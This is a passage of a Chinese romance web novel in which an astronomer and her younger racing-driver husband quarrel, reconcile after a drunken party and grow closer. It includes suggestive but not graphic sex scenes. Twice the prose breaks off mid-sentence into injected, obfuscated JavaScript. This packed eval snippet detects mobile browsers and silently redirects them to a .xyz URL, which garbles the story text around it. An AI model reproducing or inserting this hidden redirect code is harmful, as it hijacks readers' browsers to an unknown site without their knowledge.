“你长得很好看,而且……” 停顿片刻,目光缓缓下移又回到他眼睛。 “看起来很行。” 男人盯着她,唇角扯出一抹讥讽的弧度。 “所以,温老师选我,只是因为我用起来最舒服?” 温木没有回答,但沉默已经是最好的答案。 她认为宋星燃应该有这个基本的判断能力。他们只见了一面就结婚,完全没有任何感情基础。 她选他,不是因为日后的合适,难道还能是因为当天的一见钟情吗? 这不靠谱,更不现实。 宋星燃低笑一声,眼底却毫无笑意。 “温木。” 他又一次连名带姓地叫她,嗓音低沉,带着压抑的怒意。 “你把我当什么?” “按摩/棒吗?” 温木抬眸,平静地看着他:“怎么会?” “你还算我的吉祥物。” 这句话是真心的。 她是发自内心地感谢宋家。 “我以为你一开始就会想明白的。” “而且,”她扭过头去,声音也弱了几分,“我看你在床上也挺开心的。” 这总不能是假话吧,做了这么两次,腻了那么多天,哪次他没爽到? 好几次,她都已经服软了,求他了,依旧不听话。 她还觉得自己受委屈了呢。 宋星燃眸光一沉,伸手扣住她的手腕,力道大得几乎让她吃痛。 “那你这几天,又为什么生气?为什么不来找我?” 温木一怔。 她生气了吗? 她明明……没有。 男人盯着她的表情,慢慢靠近,声音压得极低,带着恶劣的挑衅。 “温老师,你是不是……” “开始在意我了?” 温木笑出来,随即冷静开口: “你想多了。” “我只是不喜欢跟一个幼稚的男人费太多口舌。” 宋星燃盯着她看了几秒,松开手,后退一步,唇角勾起一抹冷笑。 “行。” “温老师既然这么清醒。” “那最好一直清醒下去。” 说完,他转身离开,背影冷硬而疏离。 温木站在原地。 说清楚也好。 也许这样,他就不会说那些奇怪的话,做那些奇怪的事。 远处,于茉担忧地望过来,她摇摇头示意自己没事。 派对继续。 电子音乐换了更激烈的节奏,有人起哄让邬楠表演节目。新娘却笑着指向温木:“阿木姐大学时可是贝斯手,让她来!” 众人目光齐刷刷投来。 温木本想拒绝,余光却瞥见宋星燃靠在吧台边,正冷冷看着这边。不知哪来的冲动,她放下酒杯走向小舞台。 “好久没碰了。”她轻声说,接过递来的贝斯。 黑色吊带裙与暗红色贝斯形成强烈对比,温木修长的手指抚过琴弦,试了几个音。 台下渐渐安静,所有人都等着看这位平日里清冷自持的天文学博士另一面。 前奏响起时,温木整个人气质都变了。她微微低头,长发垂落肩侧,指尖在琴弦上灵活舞动。是一首摇滚版的《小星星》,改编得叛逆又深情。 她高中时随手改的曲子,没想到在十年后派上了用场。 宋星燃的酒杯停在半空。 他从未见过这样的温木。自信、张扬,眼中闪烁着星辰般的光芒。 贝斯弦在她手中仿佛有了生命,每一个音符都精准踩在他心跳上。 一曲终了,掌声雷动。 温木额角渗出细汗,胸口微微起伏。她抬眼,正好对上男人的目光。 两人隔空对视一秒,又同时别开脸。 “天啊阿木!”于茉冲上来抱住她,“你怎么还弹得这么好!” 温木浅笑:“曲子简单,刚才也差点弹错了。” “温小姐?”一个西装革履的男人端着香槟走近,笑容温润,“好久不见。” 温木抬眸,认出对方是大学时期的学长,林晋烨。 “林学长。” 林晋烨递来一杯果汁:“听说你结婚了?” 温木接过杯子,礼貌性抿了一口:“嗯。” “真遗憾。” 林晋烨半开玩笑,“我当初要是再坚持一下,也许现在,站在你身边的,就不会是那位疯狂的宋三少。” “温木,为什么不考虑一下,选择我?” 这话问的大胆,也说的真实。 坦白来说,林晋烨是符合温木的择偶标准的。但世界上没有如果。他们走了不同的路,也自然有不同的结局。 温木没想到,林晋烨还没有释怀她当年的拒绝。她觉得有必要再次强调一下自己已婚的事实。 就算不爱,也不会背叛,更不会,让别人说出如此冒犯的话语。 温木拉开一点距离,淡淡开口:“林学长,我想,不管是当初,还是现在,都没有区别。” “我的选择一直都是那样,不会变。” “我也不希望,以后再听到这样的话。” “你没有尊重我,也没有尊重我的丈夫。” 林晋烨闻言失笑,自知失礼:“抱歉。我说错话了。” 温木颔首告辞,走到沙发上坐下。 她刚才做了什么? 她是在维护宋星燃吗? 她疯了吧。 目光不自觉地看向吧台。 男人已经不在原位,只剩一个空酒杯反射着冷光。 算了,就当是为了宋明深和沈岁。 派对接近尾声,邬楠提议核心好友转场继续。 温木本想拒绝,于茉却已经替她答应:“阿木当然去!她今天可是MVP!” 二场定在私人会所包厢。温木走进门时,发现宋星燃已经坐在角落,正把玩着一个打火机。火光在他指间明灭,映照出紧绷的下颌线。 “玩国王游戏吧!”有人提议,立刻得到响应。 温木被安排在长沙发中间,左边是于茉,右边空位很快被宋星燃占据。 他坐下时带起一阵风,混合着龙舌兰和薄荷的气息。 第一轮抽签,国王是邬楠。 “3号和7号对视十秒!”她兴奋宣布。 温木翻开自己的牌——3号。 而7号,竟然是林晋烨。 “哇哦!”众人起哄。 林晋烨追求过温木,在宁大无人不知。 本就是校草校花,才子佳人,大家都等着一段佳话的开始。可谁知,林晋烨追了温木一年,温木就拒绝了他一年。 温木一时犹疑,余光中,男人捏扁了啤酒罐。 “只是游戏而已。” “别太在意。” 她轻声说,不知是对自己还是对谁。 林晋烨走到她面前,眼中带着笑意。温木平静地迎上他的目光,心里却在读秒。 五秒,身旁传来打火机盖开合的声响。 八秒,宋星燃突然起身去拿酒,不小心撞到林晋烨的肩膀。 “时间到!”邬楠宣布,“下一轮!” 第二轮,国王换成了于茉。 “1号和5号——”她拖长音调,“接吻十秒!” 温木莫名有种不好的预感。 翻开牌面时,她几乎窒息——5号。 所以1号是…… “是我。” 宋星燃亮出牌,声音沙哑。 包厢瞬间炸开锅。 温木指尖发凉,她想说自己退出。就算是夫妻,在朋友面前接吻也实在太超过了。 转头,却看见宋星燃挑衅的眼神。 那股不服输的劲儿上来,她微微抬起下巴:“宋少爷玩不起吗?” 宋星燃眸色一暗,突然扣住她后脑吻了上来。 这个吻来得又快又急,带着龙舌兰的辛辣和压抑多日的怒气。温木下意识抓住他衬衫前襟,指节发白。 男人的唇比她想象的更软,却吻得凶狠,像在宣示主权。 “时间到!”于茉的声音仿佛从很远的地方传来。 宋星燃退开时,唇角还沾着她的口红。 他恶劣地舔掉,低声问:“你老公吻技怎么样,温老师?” “很烂。” 温木面不改色,伸手去摸发烫的耳尖。 他怎么能当着这么多人的面,还亲的那么—— 激烈。 不要脸。 游戏还在继续,温木却越来越烦躁,喉咙里又干又热,她急需什么液体来润一润。 她随手拿起面前的杯子灌了一口,立刻被呛到。是威士忌,浓烈得烧喉咙。 温木有些慌,下意识看了一眼旁边的男人,漆黑的眸子里不知在想些什么。 还生气呢,年纪小的男人就是麻烦。 也不知道她那位同事是怎么跟小她6岁的男人甜甜蜜蜜的。 思索片刻,她又喝了一口。 醉吧,醉鬼说的话,都不算数的。 十几分钟后,温木已经晕晕乎乎,脸颊泛起不自然的红晕。她靠在沙发背上,眼神迷离,平日里梳得一丝不苟的发丝散落几缕在额前。 宋星燃注意到她的不对劲:“怎么了?” 于茉也凑过来,敏锐地闻到她身上的酒精味:“她喝酒了?!” 宋星燃沉着脸。 她不是知道自己喝不了酒吗,为什么还要喝,还要在这么多人面前,在那个林什么面前。 男人皱眉,夺过她手中的杯子一看,傻眼了。 “她喝的是我的酒。” 于茉顿住。 宋星燃凑上前,把杯子在温木眼前晃了晃:“喝我的酒干什么?” 语气很冷,很硬。 温木迟钝地眨眼,突然伸手戳他脸颊:“凶什么凶。” “坏小狗。” 包厢瞬间安静。 所有人都屏住呼吸,等着看宋少爷发飙。 出人意料的是,宋星燃只是撇开眼神,沉默片刻,然后起身将温木打横抱起。 “我先带她回去。” 他对目瞪口呆的众人说,声音里是掩不住的无奈。 夜风拂过脸颊,温木稍微清醒了些。 她发现自己被宋星燃抱在怀里,男人胸膛的温度透过衬衫传来,心跳声稳健有力。 “放我下来。”她挣扎道,声音却软得不像话。 “别动。”宋星燃收紧手臂,“摔了有你好受的。” 停车场灯光昏暗,宋星燃小心翼翼将她放进副驾驶,俯身系安全带时,发丝擦过她鼻尖。 温木恍惚间闻到他常用的那款洗发水味道,清爽的薄荷香。 “难受吗?”他低声问,手指轻轻拂开她额前碎发。 这个动作太过温柔,与平日里的恶劣判若两人。 温木怔怔地看着他近在咫尺的眉眼,突然觉得胸口发胀。 “宋星燃。”她喃喃道。 “嗯?” “你很讨厌。” 男人动作一顿,随即苦笑:“我知道。” 引擎启动,温木已经昏昏欲睡。 朦胧中,她感觉有人将外套盖在她身上,指尖在她发间停留了片刻,很轻。 * 星河湾的玄关处,宋星燃单手抱着温木,另一只手艰难地摸向指纹锁。 怀里的人不安分地扭动,黑色吊带裙的肩带滑落至臂弯,露出大片雪白的肌肤。 “别动。”他咬牙道,呼吸比跑完拉力赛还重。 温木迷迷糊糊地“嗯”了一声,发烫的脸颊贴在他颈窝处轻轻蹭着,像只撒娇的猫。 她身上混合着香槟的甜腻和他那杯威士忌的烈性,呼吸喷在他喉结上,带起一阵战栗。 “滴——”门终于开了。 宋星燃大步走向卧室,膝盖顶开半掩的房门。卧室还是那么整洁,床单平整得没有一丝褶皱,仿佛在无声控诉主人这些天的缺席。 他小心翼翼地把人放在床沿,蹲下身去解她脚上的细带高跟鞋。金属扣有些缠,他不得不放轻动作,生怕扯疼她。 “疼。”温木突然小声哼唧,脚踝下意识往回缩。 宋星燃皱眉。灯光下,她白皙的脚后跟已经磨出两道刺目的红痕,有一处甚至破了皮。 他早就注意到了。在派对上,她一直都在不适地扭动脚踝。 “活该。” 男人嘴上凶着,手上却放得更轻,“穿这种鞋还敢站那么久。” 温木似乎听懂了责备,委屈地扁扁嘴:“你还敢凶我。” 她醉酒后的声音软得不像话,尾音拖得长长的,与平日清冷的声线判若两人。 温木又嚷嚷:“眼睛疼。” 她之前很少戴美瞳,今天戴得有点久,已经不舒服了。 宋星燃走上前去,把人扶起来,小心翼翼地帮她把美瞳取出来。 温木很惊讶地盯着他看:“宋星燃,你好厉害啊。” 他见怪不怪:“哼,受不起。” 男人抬头时正对上她迷蒙的眼睛。那双总是平静无波的眼睛此刻湿漉漉的,倒映着顶灯的碎光。 他喉结滚动,强迫自己移开视线:“把衣服换了。” 衣柜里随手拿了件他的旧T恤,转身时却见温木正试图自己拉下裙子的拉链。 酒精让她的动作笨拙又可爱,拉链卡在半腰死活不动,她急得鼻尖都泛了红。 “笨死了。”宋星燃走过去,拍开她的手,“我来。” 指尖触到拉链的瞬间,他呼吸猛然加重。这条该死的裙子后背几乎全空,只有两根细带交叉着维系最后的体面。 派对上那些男人贪婪的目光一幕幕闪回脑海。 他们是不是也看到了这片雪白的肌肤? 是不是也在想象这截细腰被搂住的触感? 是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16264581|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是想找死? 宋星燃几乎要克制不住内心的暴戾因子。 “转过去。”他声音沙哑得厉害。 温木乖乖转身,黑发随着动作滑向一侧,露出整片后背。 男人瞳孔骤缩。 她居然没穿内衣!只用胸贴凑合。 拉链越往下,他的怒火就越旺。裙摆褪到大腿时,他看到了更多“罪证”:膝盖上的淤青,大腿内侧被裙子蕾丝边磨出的红痕…… 他一把扯下裙子扔在地上。 “你就这么糟蹋自己?” 温木被他突如其来的怒气吓到,瑟缩了一下。 “又凶。” 宋星燃瞬间泄气。 温木去捏他的鼻子:“我是姐姐,你不许凶我。” 男人冷哼。 从一开始,在他这儿,她就只有老婆这一个身份。 可温木显然没这个觉悟,总是妄图用年龄差来管束他,却不知道,这样只会更加激发他内心的不满。 宋星燃怎么想不明白。 明明是她要结婚的,“老公”也是她先喊的。怎么结婚以后,反而不把他当老公看了。 他坐在床沿生闷气,又回想起女人对他说的话。 他忽然就想明白原因了。 她不爱他。 她只愿意睡他。 从开始,到现在。 就这么简单。 切,合法配偶,睡就睡呗。 他又不吃亏。 宋星燃深吸一口气,把T恤套在她头上。 “抬手。” 温木乖乖照做,发丝从领口钻出来时乱蓬蓬的,宽大的T恤下摆刚好遮住腿根。 这副模样比穿着那条该死的裙子可爱一万倍。 “洗澡吗?”男人问,声音已经柔和许多。 温木歪着头思考了一会,突然伸手拽住他的衣角。 “你帮我。” 宋星燃差点咬到舌头,四目相对,皆是沉默。 良久。 “你知道自己在说什么吗?” “知道呀。”她笑得天真又妩媚,手指顺着他的衬衫纽扣往上爬。 “老公帮老婆洗澡……” “天经地义。” 最后四个字被她含在舌尖,像颗融化的太妃糖。 宋星燃猛地抓住她作乱的手,眸色深得吓人。 “那你答应我,明天要是记得现在的事,不许对我发脾气。” 温木歪着脑袋看他,像是不明白他为什么这样说。 片刻,男人松开手,低头。 “发脾气也行。” “不要不理我。” 浴室灯光比卧室柔和许多。 宋星燃卷起衬衫袖口,调试水温时后背已经湿了一片。温木坐在小板凳上,T恤下摆浸了水,黏在大腿根部,带着瓷白的皮肤都多了几分莹润光泽,要命得勾人。 “自己脱。” 他递过浴球,刻意避开视线。 身后传来窸窸窣窣的声响,接着,T恤被扔进了洗衣篮。 宋星燃僵着脖子转身,把浴巾围在她肩上,像个尽职的护士。 “转过去。” 温木却不动,湿漉漉的眼睛直视着他。 “你生气了吗?” 水汽氤氲中,她的声音异常清晰。 男人动作一顿,没想到她会在这时候提起这个。 “因为戒指?”她继续问,醉酒后的逻辑竟出奇地连贯。 “还是因为……” “我说选你是因为想睡你?” 花洒的水声成了最好的白噪音。 宋星燃挤了沐浴露在手心,沉默地抹上她的肩膀。泡沫在指尖下蔓延,他感受着她肌肤的温度,低低开口: “都有。” 温木轻轻“唔”了一声,向后靠在他手上。 男人没说话,她似是不高兴,抬起头,用一双沾了雾气的眸子看他,像是鼓励他继续说下去。 “那个戒指,我真的挑了很久。” 他声音闷闷的,手指无意识地在她锁骨处画圈。 “从你家回去那晚,我连夜喊人来,戒指上的星星图案,我还特地改过。” 水珠顺着温木的脊椎滑下,宋星燃的目光追着那滴水,看着它消失在浴巾边缘。 他突然很想咬她一口。 在这个位置留下印记,让所有人都知道她是有老公的,让所有人都知道,她是他的人。 “可是我说了,我很喜欢呀。”温木转身,泡沫顺着动作滑落。 “我特地拍照,发了朋友圈,还@了你。” 她以前从来不发和天文无关的朋友圈。 这个男人,明明是第一个例外。 宋星燃看着她:“然后把它忘在爸妈家一个月,也想不起来找它。” 温木垂眸:“我跟你道过歉了。” 声音很小。 宋星燃轻轻地给她擦身子。 “你知道我把戒指放哪儿了吗?” 温木抬头。 “我一直都戴在手上,在你出门以后。” “等你回来了,就放在我的百宝箱里。” 他没有再往下说,但手上的动作已经停下来了。 他觉得自己不爽,纯粹是因为不能接受这样一种不平衡的状态,不喜欢这样被忽视被冷落的氛围。 仅此而已。 温木不知道,是应该惊讶于他每天都戴着戒指,还是该惊讶于这样一个“玩世不恭的”少爷居然有一个百宝箱。 她忽地眯起眼睛,笑出来。 男人显然被气到了,伸手去捏她的脸颊,没用力。 “你还笑我。” “温老师,就算我们的婚姻只是一场交易,也请你拿出跟我一样的态度来对待这段关系。” “否则,是不是太不公平了。” 温木眨眨眼,突然伸手捧住他的脸。 泡沫沾在他睫毛上,她轻轻吹了一下。 “我错了。” 她说得很慢。 “老公,我错了。” 她凑近,鼻尖几乎贴上他的,“但你也有错。” 宋星燃挑眉:“我?” “你凶我。”温木指控道,指尖戳着他胸口,“还冷战,整整五天不找我。” “你知不知道我吃了五天的山东煎饼。” “都要撑死了!” 水汽让她的眼睛更亮了,她很少有这样娇嗔的模样,至少,在他面前是这样。 宋星燃恍惚觉得里面盛着整个星云。 他抓住她作乱的手:“撑死了你不知道不吃吗?” “温老师,你是笨蛋吗?” 温木摇头。 “你比我笨。” “所以。” “为什么不来找我?” 宋星燃气笑了:“你就不能来找我?” 温木:“不能。” “因为我很忙。” 她缠上男人的身子,有一下没一下地扯他领口玩。 “所以,不管什么时候,你都必须来找我。” 宋星燃低笑:“好,我找你。” “你就仗着年纪大欺负我吧。” “在床上勾我,在床下训我。” 温木笑:“你讨厌这样吗?” 男人的拇指摩挲着她的腕骨,半晌,才回答: “不讨厌。” 他看着她的眼睛,仿佛要陷进去。 “温木,我们已经结婚了。” “我知道在你心里没有什么比研究重要,但你可不可以,在研究之外的生活里,专注于我。” “就像我专注于你一样。” 温木怔住,酒意似乎醒了几分。 她从未听过宋星燃这样直白的表达——这个恶劣得像顽童一样的男人,此刻眼神认真得让她心尖发颤。 浴室突然变得太热。 某种熟悉的冲动涌上来,温木勾住他的脖子,咬住他的耳朵。 “证明给我看。” 24. For the stars 宋星燃的吻落下来时,温木闻到了淡淡的龙舌兰味道。他的唇比她记忆中的更烫,舌尖带着不容拒绝的力度撬开她的齿关。 她下意识仰头迎合,手指插进他半湿的黑发,却被对方突然退开的动作晃了一下。 “我们算是和好了吗?” 宋星燃抵着她的额头问,呼吸喷在她微微发麻的唇上。 温木眯起眼,看清了他眼中的欲念。 她不作声,拽着他的衬衫前襟想把人拉回来,却被他轻松制住手腕按在床头。 “回答我。” “和好了吗?” 床头的星云灯在他轮廓上投下斑驳光影,温木看见他睫毛上未干的水珠。 “你快点。” 她声音有些哑。 宋星燃低笑,俯身在她锁骨上咬了一口,不轻不重,刚好留下一个泛红的印记。 唇沿着颈线往上,在耳垂处流连。 “不急。” “我们有的是时间。” “温老师。” 这个称呼被他含在唇齿间,莫名多了几分狎昵。温木的腰软了半边,却仍倔强地别过脸不答。 宋星燃也不恼,手指从她手腕滑到掌心,十指相扣按在枕边。 “看什么?” 他明知故问,俯身时胸肌几乎蹭到她鼻尖。 “不是让我快点?” 温木抬腿想踢他,却被他趁机扣住脚踝。拇指在脚心轻轻一刮,她立刻浑身一颤,脚趾都蜷缩起来。 他声音沉下来,指尖温柔地描摹她脚踝骨。 “最后一次机会。” “我们和好了吗?” 丝绸床单在挣扎中发出细碎的声响。 温木喘着气瞪他:“不想和好的话,那就继续别理我。” 沉默。 而后,男人的表情变了,那些游刃有余的恶劣笑意潮水般退去,露出底下罕见的委屈。 他松开钳制,整个人压下来,脸埋在她颈窝处深深吸气。 他声音闷闷的,发梢蹭得她发痒: “我才不想呢。” “我才不舍得。” 尾音消失在相接的唇间。 这个吻比之前任何一个都要凶,宋星燃像是要把这些天的克制全讨回来。 温木尝到了血的味道。 不知是谁的唇破了,但这疼痛反而让快感更加鲜明。 “这衣服,是你自己挑的?” 温木这才明白他在别扭什么。她想解释,却被他含住耳垂的动作打断。 “腰这么细。” “还敢穿那种裙子。” 每一个字都伴随一个吻落下。 温木在男人身下化成了一滩水,只能徒劳地抓着他肩膀。 吻铺天盖地落下来。 宋星燃着迷地看着怀中人散在枕上的黑发。 “好漂亮。” “我的老师。” 温木从不知道他能说这么多骚话。从她蝴蝶骨的弧度夸到小腿线条,每说一句就留下一个印记,像是要在这具身体上刻满所有权。 当她终于受不了去捂他的嘴时,男人恶劣地舔舐她的掌心。 他扣住她的手,十指相缠按在枕上。 月光从窗帘缝隙溜进来,又害羞地躲到角落。 温木恍惚想起第一次在赛车场见他的样子。 那个张扬恣意的男人,如今正为她露出这样失控的表情。 她的视野开始模糊,直至两颗心跳动的声音逐渐重合。 “选我。” 他在她耳畔呢喃,声音轻得像幻觉。 她已经选他了呀。 从一开始,她的选择就是他。 * 阳光透过纱帘在眼皮上跳跃,温木皱着眉往被子里缩了缩。某个沉重的东西突然压上腰间,她猛地睁眼,对上一双含笑的眸子。 宋星燃支着下巴看她,发梢翘起两撮,像某种大型犬的耳朵。 “老婆,早。” 记忆如潮水回笼。 温木瞬间绷紧脊背,昨夜那些画面涌入脑海。 她主动去吻他。 她主动去扯他的衬衫。 她主动喊他“老公”。 “……” “早。” 温木迅速别过脸,声音比平时高了八度。 丝绸被单随着她坐起的动作滑落,露出肩颈处斑驳的红痕。她一把拽回被子裹紧,耳尖烫得要烧起来。 她从来不知道自己能那么…… 放肆。 那些大胆的行径简直像另一个人做的。 宋星燃跟着坐起来,大咧咧地裸着身子,他故意把被子往下扯了扯:“温老师,你脸红了。” “没有。”温木死死攥着被角,“我是热的。” 一声轻笑。 下巴被温热的手指扣住,强行转过去与他面对面。男人眼睛里盛着明晃晃的戏谑。 “你知不知道你昨晚有多热情?” 他拇指蹭过她下唇,“这里,这里。” 手指一路下滑,隔着被子在某处点了点,“还有这里,全都……” 温木一把拍开他的手:“这很正常的。” “女性每个月都有那么几天会这样。” “是吗?” “有科学依据。”她推了推并不存在的眼镜,语气像在学术报告会上发言,“女性荷尔蒙分泌周期导致欲望波动。” 宋星燃挑眉:“真的?” “嗯。”温木点头,努力维持专业表情。 “那好。”他突然凑近,“我一定每个月都满足你。” 温木瞪大眼睛:“我不是这个意……” 宋星燃已经翻身下床。晨光毫无保留地勾勒出他流畅的背部线条,以及—— 温木别过脸。 怎么有人大清早就能这么, 精神! 她一只手捂着狂跳的心口,另一只手在床上摸索衣物,却只找到一只孤零零的袜子。 视线扫过房间,他的衬衫挂在台灯上,她的裙子皱巴巴堆在床尾,简直不堪入目。 温木看着宋星燃弯腰捡起一个空盒子。 还好还好,就一盒,正常水平。 “我……” 宋星燃又捡起一个盒子,空的。 两盒?! 男人再次弯腰,捡起第三个盒子晃了晃。 温木差点被自己口水呛到。 三盒?! “啊,原来在这里。” 宋星燃将修长的手伸进盒子里,然后,掏出了一条黑色蕾丝内裤,深色晕染开的痕迹在阳光下无所遁形。 温木瞬间石化。 她一把扯过被子蒙住头,恨不得立刻消失在宇宙尽头。 男人轻笑:“是你让我放在这里面的。” “你胡说。”闷闷的声音从被子里传出。 “是你忘记了。” 宋星燃的声音带着笑意。 “昨晚你说''要藏好作案工具''。” 博士小姐,你是真的喝多了。 被子团剧烈抖动了一下。温木在里面懊恼地咬唇。 本来只是想喝酒壮胆去问问那家伙什么时候结束冷战,结果直接玩脱了。 她发誓,这辈子再也不碰酒精了。 窸窣声过后,一套干净的居家服被放在床边,纯棉T恤和亚麻长裤。 “换好下来吃饭。” 宋星燃已经套上牛仔裤,腰带扣发出清脆的声响。 “以后不要再吃煎饼了,我每天都做早饭给你吃。” 被子猛地被掀开。 温木睁大眼睛,她连这个都说了?! 男人单膝跪在床沿,伸手将她一缕散发别到耳后。 动作太过温柔,温木一时忘了躲闪。 “温木。” 他眼神认真得近乎深情。 “我们以后都不要吵架了,行吗?” 温木心尖莫名一软。 这次算,吵架吗? 也没有吧,不过就是几天没理他而已。 “那得看你表现。”她努力维持平静声线。 “我肯定好好表现。”宋星燃立刻接话。 但随后,又眨着眼睛,可怜巴巴。 “还有一个月我就要去比利时集训了,你对我好点,行不行?” 温木愣住。 她完全忘了这茬。 胸口突然泛起一丝陌生的酸涩,她把这归结为晨起的低血糖。 “嗯。”她最后轻轻点头。 男人眼睛瞬间亮起来,以迅雷不及掩耳之势在她脸上“吧唧”亲了一口,然后像只撒欢的金毛般窜出门去,脚步声“咚咚咚”地消失在楼梯间。 温木摸着发烫的脸颊,上面还残留着他嘴唇的触感。 搞什么啊…… * 自从那一晚过后,宋星燃像是突然被什么奇怪的程序入侵了一样,从恶劣粘人的赛车手变成了一个—— 居家好男人。 温木每天早上醒来,都能闻到厨房飘来的香味。虽然大多数时候伴随着锅铲掉地的声音,或者烤箱“叮”的一声后,宋星燃的怪叫:“靠!又糊了!” 但至少,他确实在努力。 他甚至还学会了送她上班。 温木站在玄关处,低头看着宋星燃蹲在地上给她系鞋带,手指灵活地打了个结,抬头冲她一笑:“好了,温老师。” 她抿了抿唇,没说话。 这实在,太奇怪了。 这个曾经在赛车场上嚣张跋扈的男人,现在每天准时接送她,甚至还会在她实验室楼下等她,手里拎着五杯冰美式,笑眯眯地递给她的同事:“辛苦了,我家温老师麻烦你们照顾了。” 于茉第一次见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266980|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到这一幕的时候,差点把咖啡喷出来。 “你家小老公转性了?”她悄悄凑到温木耳边,笑得促狭。 温木面无表情地咽下一口咖啡,很想反驳: 他不小。 但她最终什么都没说。 宋星燃的“居家好男人”人设,在某个周末彻底崩塌。 温木刚从实验室回来,推开门就闻到了一股浓郁的焦糖味,紧接着是“啪嗒”一声,像是有什么东西重重摔在了地上。 她快步走进厨房,然后—— 呆住了。 整个厨房像是被奶油炸弹袭击过一样,墙壁、地板、甚至连抽油烟机上都沾着白色的奶油。 而宋星燃站在料理台前,脸上、头发上、T恤上全是奶油,手里还举着一个歪歪扭扭的蛋糕胚。 男人见到她时眼睛一亮:“你回来了!” 温木:“……” 她用了整整五分钟时间去消化,然后平静地问: “你在干什么?” “做蛋糕。”他理直气壮地说,甚至还有点骄傲,“第一次做,还不错吧?” 温木看着那个勉强能称之为“蛋糕”的东西,沉默了两秒,然后走进卫生间,打湿毛巾,走到他面前站定。 “蹲下。” 男人乖乖蹲下。 温木抬手给他擦脸。 “你怎么不高兴?” “不喜欢吗?” “女生不是都喜欢吃甜的吗?”宋星燃任由她动作,语气无辜。 温木:“我不喜欢。” 宋星燃:“那你喜欢吃什么?” 温木按住他乱动的脑袋:“蹲好。” 男人乖乖不动了,但嘴没停:“温老师,你总得告诉我你喜欢什么吧?不然我怎么讨好你?” 她又不需要他讨好,搞得像他在追她一样。 温木被他缠得烦了,随口道:“巧克力。” 宋星燃眼睛一亮:“好!” 第二天,温木推开家门,迎面撞上一只被可可液糊了满脸的“棕熊”。 宋星燃举着一盘黑乎乎的“巧克力熔岩蛋糕”,笑得灿烂:“温老师,尝尝?” 温木:“……” 从那天起,宋星燃就被勒令禁止踏入厨房一步。 除了早上。 哦对,汽油也被接回来了。 宋星燃亲自去接的。 回来的时候,汽油趴在他肩膀上,尾巴摇得像螺旋桨,一副“终于见到亲爹”的激动样。 “它见到我的时候,眼泪差点就掉下来了。”男人揉着汽油的脑袋,语气夸张。 温木面无表情:“狗不会哭。” “真的!”宋星燃把汽油举到她面前,“你看它多委屈!” 汽油“汪”了一声,疯狂舔他的手指。 温木:“……” 她严重怀疑宋星燃在胡说八道,但不可否认的是,他对汽油确实很好。 每天早上遛狗、定时喂食、甚至还会给汽油梳毛。虽然梳着梳着就会变成一人一狗在地毯上打滚,最后汽油的毛比没梳之前还乱。 当然,一周九次,他一次都没落下。 甚至花样百出。 温木无数次在深夜半眯着眼睛问他:“好了吗。” 宋星燃抬起头,湿漉漉的唇瓣划过她的脸颊:“还没呢,温老师。约定好的次数,一定要达标啊。” 这家伙到底什么时候走啊! 明明都已经两个月了! * 某天晚上,宋星燃接她下班,一进门就催她换衣服。 温木警惕地抱住自己:“你又买了?!” 宋星燃一愣:“什么?” “就那、那什么。”她咬牙。 说实话,她都不知道他上哪儿搞那么多这种衣服,有几件连布料都省了,就几根线,也是在他的百般无赖之下穿上了。 要不是看在他硬件太顶的份上,就冲他那破烂技术和折磨人的心思,温木才不愿意跟他做那事。 宋星燃看着她那全副武装的样,露出一个恶劣又坏的笑容。 “温老师,你不正经。” 温木:“……” “被你带的。” 她现在终于可以理直气壮地说出这句话了。 宋星燃低笑:“好吧好吧,我带的。” “我不换。”温木抱紧自己,“要穿你穿。” 男人挑眉,语气轻佻:“你想看的话,我也可以穿。” 温木:“……” 怎么能这么不要脸。 宋星燃见她真的恼了,赶紧笑着凑过来:“哎呀好了好了,温老师别生气。” 他指了指沙发上的袋子,“就是正常衣服,裙子。” 温木狐疑地看了一眼:“去干嘛?” 宋星燃咧嘴一笑,眼睛亮得像星星。 “陪我玩。” 25. For the stars 半小时后,温木站在“星宙乐园”的霓虹灯牌下,面无表情地看着眼前熙熙攘攘的人群。 “……” “所以,你让我陪你,来游乐园玩?” 宋星燃双手插兜,笑得灿烂:“嗯哼。” “你都多大了。” “二十三啊。” “那你知不知道我都多大了。” “二十八啊。” 温木深吸一口气:“我已经过了来游乐园的年纪了。” 宋星燃歪头看她,伸手,指尖轻轻戳了戳她的脸颊:“温老师,你这样想不对。” “哪里不对?” “人生又不是按年龄划分的。”他语气轻快,眼睛里映着游乐园的彩光,“想玩就玩,想吃就吃,想爱就爱。” “这才是活着的意义。” 温木怔了怔。 宋星燃的世界里,似乎从来没有“应该”和“不应该”,只有“想”和“不想”。 和她不一样。 也许不是不一样,只是,她从来没有想过像宋星燃这样生活。 温木沉默一会儿,最终叹了口气:“走吧。” 宋星燃眼睛一亮。 温木:“姐姐陪你玩一次。” “错了。”男人笑着纠正,“你应该说,‘老婆陪你玩一次’。” 温木还没来得及反驳,手就被他牵住了。 ——这是他们第一次真正意义上的牵手。 不是醉酒后的纠缠,不是床笫间的十指相扣,而是,像普通情侣一样,在夜晚的游乐园门口,自然而然地牵在一起。 男人的手掌很大,掌心温热,指腹带着薄茧,是常年握方向盘磨出来的。温木下意识蜷了蜷手指,却被他更紧地扣住。 “走了。”宋星燃拉着她,大步走进乐园。 